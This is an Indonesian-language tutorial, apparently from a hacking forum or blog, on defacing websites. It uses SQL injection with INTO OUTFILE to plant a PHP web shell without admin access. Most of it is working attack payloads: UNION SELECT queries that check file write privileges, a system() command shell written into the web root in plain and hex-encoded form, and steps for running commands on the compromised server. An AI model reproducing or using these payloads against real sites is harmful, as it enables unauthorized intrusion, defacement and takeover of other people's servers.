Hello kali ini gua akan membawakan tutor yaitu cara deface
SQL-Injection Into Outfile – Upload shell without admin panel.
persiapan:
1. Internet
2. Target
3. Dork? Mikir lah anjing
step satu
cari error nya dulu dengan quote ‘ klo error brrti ya vuln. Lakukan order by 1000 –+- sampe ada errornya
disitu muncul error
Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in D:\xampp\htdocs\target\berita\lihatDetailBerita.php on line 10
step kedua lakukan union select
klo uda nampilin angka togelna.kta lgs cek file_privnya saja gan
contoh =
http://target.com/index.php?id=-7 union select 1,2,file_priv,3,4 from mysql.user– –
klo muncul huruf Y kek gambar dibawah, brrti writable / bisa di into outfile. Klo engga? Cari target lain.
nahkan muncul huruf Y, ini saaatnya into outfile.
Contoh =
http://target.com/index.php?id=-7 union select 1,2,<?php if(isset($_GET[‘grt’])){ echo system($_GET[‘grt’]); }? >,4,5 into outfile ‘/home/user/public_html/tes.php’– –
kode phpnya di hexa dulu cok, mo pake kode itu apa uploader bebas, yg penting di hexa, gini jadina.
http://target.com/index.php?id=-7 union select 1,2,0x3c3f70687020696628697373657428245f4745545b27677274275d29297b206563686f2073797374656d28245f4745545b27677274275d293b207d3f203e,3,4 into outfile ‘D:/xampp/htdocs/bernadyland/berita/test.php’– –
D:/xampp/htdocs/bernadyland/berita/filemu.php
ini environ yg di dapatkan dari gambar error diatas.
klo udah tinggal akses shell cmdna
http://target.com/berita/filemu.php
disini kyta mainan rce, klo ga bisa di rce ya uploader lgs aja kode yg hexa tadi.
Command rce nya
Shell lo